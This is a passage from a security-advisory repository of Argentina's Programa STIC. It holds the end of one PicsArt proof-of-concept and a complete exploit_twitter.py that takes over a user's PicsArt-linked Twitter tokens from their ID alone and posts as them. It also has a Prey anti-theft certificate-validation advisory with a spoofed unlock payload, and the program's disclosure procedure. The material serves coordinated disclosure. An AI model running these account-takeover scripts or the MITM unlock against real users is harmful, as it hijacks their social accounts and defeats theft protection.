| OAUTH_TOKEN = data['response'][0]['token'] 28 | 29 | def post_on_facebook(): 30 | graph = facebook.GraphAPI(OAUTH_TOKEN) 31 | profile = graph.get_object("me") 32 | friends = graph.get_connections("me", "friends") 33 | graph.put_object("me", "feed", message="I am writing on their wall!") 34 | 35 | if __name__ == '__main__': 36 | if len(sys.argv) < 1: 37 | print "No facebook ID specified" 38 | exit(0) 39 | userKey =obtain_key(sys.argv[1]) 40 | print "User key for accessing user's Picsart account is %s" %userKey 41 | try: 42 | obtain_facebook_token(userKey) 43 | print "Facebook access token is %s" % OAUTH_TOKEN 44 | post_on_facebook() 45 | except: 46 | traceback.print_exc() 47 | print "Failed accessing user's Facebook account, perhaps user hasn't given the app permission to post" 48 | pass 49 | -------------------------------------------------------------------------------- /PicsArt/POC/exploit_twitter.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | import urllib 4 | import urllib2 5 | from twython import Twython 6 | import json 7 | import traceback 8 | 9 | APP_KEY='' 10 | APP_SECRET='' 11 | OAUTH_TOKEN='' 12 | OAUTH_TOKEN_SECRET='' 13 | 14 | def obtain_key(twitter_id): 15 | url = 'https://api.picsart.com/users/signin.json' 16 | only_twitter_id = '''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}''' %twitter_id 17 | data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter' 18 | req = urllib2.Request(url, data) 19 | response = urllib2.urlopen(req) 20 | jsonobject = json.loads(response.read()) 21 | return jsonobject['key'] 22 | 23 | def obtain_twitter_token(key): 24 | url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key 25 | response = urllib2.urlopen(url) 26 | data = json.loads(response.read()) 27 | print data 28 | global OAUTH_TOKEN 29 | OAUTH_TOKEN = data['response'][0]['token'] 30 | global OAUTH_TOKEN_SECRET 31 | OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret'] 32 | 33 | def post_on_twitter(): 34 | twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET) 35 | print twitter.verify_credentials() 36 | twitter.update_status(status='Using twitter!') 37 | 38 | if __name__ == '__main__': 39 | if len(sys.argv) < 1: 40 | print "No Twitter ID specified" 41 | exit(0) 42 | userKey =obtain_key(sys.argv[1]) 43 | print "User key for accessing user's Picsart account is %s" %userKey 44 | try: 45 | obtain_twitter_token(userKey) 46 | post_on_twitter() 47 | except: 48 | traceback.print_exc() 49 | print "Failed accessing user's Twitter account" 50 | pass 51 | -------------------------------------------------------------------------------- /Prey/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Prey Anti-Theft application for Android missing server certificate validation 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Prey Anti-Theft application for Android missing server certificate validation 8 | 9 | **Advisory ID:** STIC-2014-0731 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2014-11-11 14 | 15 | **Date of last update:** 2014-11-11 16 | 17 | **Vendors contacted:** Prey 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Improper Following of a Certificate's Chain of Trust [[http://cwe.mitre.org/data/definitions/296.html](http://cwe.mitre.org/data/definitions/296.html)] 26 | 27 | **Impact:** Data loss 28 | 29 | **Remotely Exploitable:** Yes 30 | 31 | **Locally Exploitable:** Yes 32 | 33 | **CVE Identifier:** N/A 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Prey is an anti-theft application that lets smartphone owners track and locate lost or stolen devices. It provides accurate geolocation of a missing device and allows users to remotely lock it, take pictures, play alarm sound or display onscreen messages. The application features can be controlled from the Prey project's website or via SMS. As of September,2014 the application had between 1 to 5 million installations worldwide[1]. 40 | 41 | Although communication between the Prey application running on an Android device and the controlling web server is performed over HTTPS, the former does not validate the SSL certificate presented by the latter. As a result it is possible to completely subvert the anti-theft protection of Prey. To do so, an attacker simply needs to perform a Man-in-the-Middle attack on the communications between the Prey app running in the device (presumably stolen locked with an user provided password) and the web server, present a fake server certificate and send a _lock command_ with a password of the attacker's choosing to the device. The attacker can then unlock the device manually with his/her provided password. Other types of attacks are possible since all communications between the device and the website can be inspected and modified by the attacker. 42 | 43 | 44 | ## 4. Vulnerable packages 45 | 46 | * Prey Anti-theft fo Android version 1.1.3 and below. 47 | 48 | ## 5. Vendor Information, Solutions and Workarounds 49 | 50 | The vendor acknowledged the problem and committed to publish a new version of the application fixing the issue by November 11th, 2014. 51 | 52 | 53 | ## 6. Credits 54 | 55 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo. The publication of this advisory was coordinated by Programa Seguridad en TIC. 56 | 57 | ## 7. Technical Description 58 | 59 | The vulnerability is found in _com.prey.net.HttpUtils_ class which instantiates an HttpClient to connect to Prey's server. The HttpClient uses a custom SSLSocketFactory named EasySSLSocketFactory to obtain socket objects used to communicate with the server. This class also call the method _setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER)_ to accept as valid any hostname presented in the server certificate[2]. Furthermore, since the EasySSLCocketFactory implements a _X509TrustManager_ with empty verifier methods [3], any certificate presented by the server is considered valid by the application. This allows an attacker to mount a MITM attack to impersonate the Prey panel server with self-made X509 certificate. 60 | 61 | To unlock a stolen device, the attacker needs to spoof the lock command specifying a new password to gain control of the device. This could be done by modifying the server's response to the device request for commands at _https://solid.preyproject.com/api/v2/devices/[DEVICE_ID].json_ to: 62 | 63 | 64 | ``` 65 | [ 66 | { 67 | "command": "start", 68 | "options": { 69 | "unlock_pass": "easy" 70 | }, 71 | "target": "lock" 72 | } 73 | ] 74 | 75 | ``` 76 | 77 | The application tries to obtain new commands from the server by registering to listen multiple android events such as changes in connectivity, battery level, accessing the airplane mode and even turning on and off the device. 78 | 79 | 80 | ## 8. Report Timeline 81 | 82 | * **2014-09-17:** 83 | Request for security contact info filed in support page on the Prey project's website. 84 | 85 | * **2014-09-23:** 86 | The vendor team asks Programa Seguridad en TIC to send the vulnerability report via unencrypted email to security@preyproject.com. 87 | 88 | * **2014-10-01:** 89 | Technical details sent to the vendor. 90 | 91 | * **2014-10-25:** Programa Seguridad en TIC requested an status update about the issue and communicated an estimated release date of the advisory by the 27th of October, 2014. Vendor requested to push back the release due to an internal re-organization of the company. 92 | 93 | * **2014-10-27:** Programa Seguridad en TIC accepted to delay the advisory but only on the basis in receiving details about the status of the issue and a date commitment to release an updated version which fixes the problem. 94 | 95 | * **2014-10-28:** 96 | Vendor informed that a patch was already developed and requested for advise as to how to avoid exposing clients running older versions to explotation of the vulnerability. 97 | 98 | * **2014-10-29:** Programa Seguridad en TIC asked the vendor to send a copy of the patch so it could then confirm the security issue was addressed. The vendor was advised to inform the users about the vulnerability and the risk involved so clients would be encouraged to update the application so as to minimize the vulnerability impact. 99 | 100 | * **2014-10-30:** 101 | Vendor sent the patched version of the application to the researcher and notified that the modification consisted in changing the HostNameVerifier from _ALLOW_ALL_HOSTNAME_VERIFIER_ to _STRICT_HOSTNAME_VERIFIER_. 102 | 103 | * **2014-11-3:** Programa Seguridad en TIC informed the vendor that the patch did not fix the problem since the application was still not verifying the certificate chain and that the root CA was a valid one from the Android CA store because they were using an empty TrustManager. Vendor was also notified that the advisory would be published on November, 10th. 104 | . 105 | * **2014-11-10:** 106 | Vendor acknowledged the problem and informed that an update would be available in Google Play store . 107 | 108 | 109 | ## 9. References 110 | 111 | [1] [https://play.google.com/store/apps/details?id=com.prey](https://play.google.com/store/apps/details?id=com.prey) 112 | 113 | [2] [https://github.com/prey/prey-android-client/blob/master/src/com/prey/net/HttpUtils.java](https://github.com/prey/prey-android-client/blob/master/src/com/prey/net/HttpUtils.java) 114 | 115 | [3] [https://github.com/prey/prey-android-client/blob/master/src/com/prey/net/EasySSLSocketFactory.java](https://github.com/prey/prey-android-client/blob/master/src/com/prey/net/EasySSLSocketFactory.java) 116 | 117 | ## 10. About Fundación Dr. Manuel Sadosky 118 | 119 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 120 | 121 | ## 11. Copyright Notice 122 | 123 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) 124 | -------------------------------------------------------------------------------- /README-en.md: -------------------------------------------------------------------------------- 1 | # Security bulletins repository of the Programa de Seguridad en TIC (STIC) at Fundación Dr. Manuel Sadosky# 2 | [versión en castellano](https://github.com/programa-stic/security-advisories/blob/master/README.md) 3 | 4 | This repository contains all the security bulletins published by the Programa STIC team at the Dr. Manuel Sadosky Foundation in Argentina. 5 | Each bulletin includes a general description and technical details of vulnerabilities discovered by Programa STIC researchers in software deployed massively at the national level in Argentina or with a significant deployment globally. 6 | 7 | The vulnerability reporting and disclosure procedure followed by Porgrama STIC is described in detail in the 8 | [Procedure for vulnerability reporting and disclosure ](https://github.com/programa-stic/security-advisories/es/STIC_vulndisc_procedure-es.md) document. 9 | 10 | 11 | ### Contact ### 12 | *Send email to stic at fundacionsadosky.org.ar 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Boletines de Seguridad del Programa de Seguridad en TIC de la Fundación Dr. Manuel Sadosky # 2 | [english version](https://github.com/programa-stic/security-advisories/blob/master/README-en.md) 3 | 4 | Este repositorio contiene todos los boletines de seguridad publicados por el Programa STIC de la Fundación Dr. Manuel Sadosky de Argentina. 5 | Cada boletín de seguridad contiene una descripción general y detalles técnicos de vulnerabilidades descubiertas por investigadores del Programa STIC en 6 | software de uso masivo en el ámbito nacional y/o con despligue significativo a nivel global. 7 | 8 | El procedimiento seguido por el Programa STIC para el reporte y publicación de estos boletines se describe detalladamente en el documento 9 | [Procedimiento de Reporte y Difusión de Vulnerabilidades](https://github.com/programa-stic/security-advisories/blob/master/es/STIC_vulndisc_procedure-es.md) 10 | 11 | 12 | ### Contacto ### 13 | * Mandar un correo electrónico a stic arroba fundacionsadosky.org.ar 14 | -------------------------------------------------------------------------------- /en/STIC_vulndisc_procedure-en.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/en/STIC_vulndisc_procedure-en.md -------------------------------------------------------------------------------- /es/STIC_vulndisc_procedure-es.md: -------------------------------------------------------------------------------- 1 | ## Procedimiento para el reporte y difusión de vulnerabilidades ## 2 | 3 | Este documento describe el procedimiento que sigue el Programa de Seguridad en TIC de la Fundación Dr. Manuel Sadosky de Argentina para publicar y difundir información sobre vulnerabilidades descubiertas por sus investigadores o por terceros que se la reporten. 4 | 5 | El propósito principal de los boletines de seguridad es informar sobre fallas y defectos de seguridad del software a la población potencialmente vulnerable, ya sean organizaciones o individuos, dándoles los detalles necesarios para identificar los problemas descubiertos, evaluar el riesgo asociado y solucionarlos o mitigar el impacto de ataques informáticos que los exploten. 6 | 7 | A continuación se detallan los pasos a seguir para cada vulnerabilidad identificada en un producto, servicio o tecnología determinada: 8 | 9 | 1. Intentar identificar al responsable o fabricante y obtener su información de contacto. 10 | 11 | 2. Notificar el problema al responsable, informándole la intención de ayudar a su resolución y aclarándole que con el propósito de informar y ayudar a proteger de ataques a los usuarios potencialemnte vulnerables, se publicará y difundirá un reporte del problema incluyendo una descripción general, análisis de impacto, detalles técnicos que faciliten su identificación y reproducción, e instrucciones para solucionarlo o mitigarlo. 12 | 13 | 3. Acordar y coordinar con el responsable o fabricante la forma y tiempo necesario para la resolución del 14 | problema. 15 | 16 | 4. En los casos en los que el fabricante o responsable sea una persona física o jurídica radicada en la Argentina y que las vulnerabilidades detectadas pongan en riesgo la confidencialidad de datos personales protegidos en virtud de la ley 25.326, el Programa STIC notificará a la Dirección Nacional de Protección de Datos Personales del Ministerio de Justicia y Derechos Humanos de la Nación, Argentina. 17 | 18 | 5. Resuelto el problema de seguridad o cumplido el plazo acordado con el fabricante para tal fin, publicar un 19 | reporte técnico (boletín de seguridad o _security advisory_) que incluirá: 20 | * Descripción general (no técnica) del problema, alcance e impacto. 21 | * Detalles técnicos necesarios para identificarlo o reproducirlo. 22 | * Recomendación sobre cómo solucionarlo o mitigar sus efectos. 23 | * Descripción detallada de las comunicaciones entre las partes: 24 | - Descubridor del problema 25 | - Programa de Seguridad en TIC que reporta el problema. 26 | - El fabricante o responsable del producto, servicio o tecnología con el problema. 27 | 28 | El Programa de Seguridad en TIC podrá decidir unilateralamente publicar el boletín de seguridad cuando se cumplan una o más de las siguientes condiciones: 29 | 30 | 1. No se pudo identificar al fabricante o responsable del software con problemas. 31 | 2. No se pudo identificar al contacto del fabricante o responsable adecuado para 32 | reportarle problemas de seguridad o al encargado de su resolución. 33 | 3. Se determinó que el fabricante o responsable no tiene intención o capacidad para resolver el 34 | problema. 35 | 4. La información sobre el problema fué publicada por un tercero. 36 | 5. Se determinó que el problema ya está siendo explotado. 37 | 38 | El Programa de Seguridad en TIC prodrá decidir unilaterlamente notificar a terceros tales como equipos de respuesta a incidentes de seguridad (CSIRTs), equipo de respuestas emergencias de seguriddad (CERTs), proveedores de servicios de IT, prooveedores de servicios o productos de seguridad informática, grupos de investigación o cualquier otra organización que el Programa STIC determine que esta en condiciones de resolver los problemas descubiertos o mitigar su impacto. --------------------------------------------------------------------------------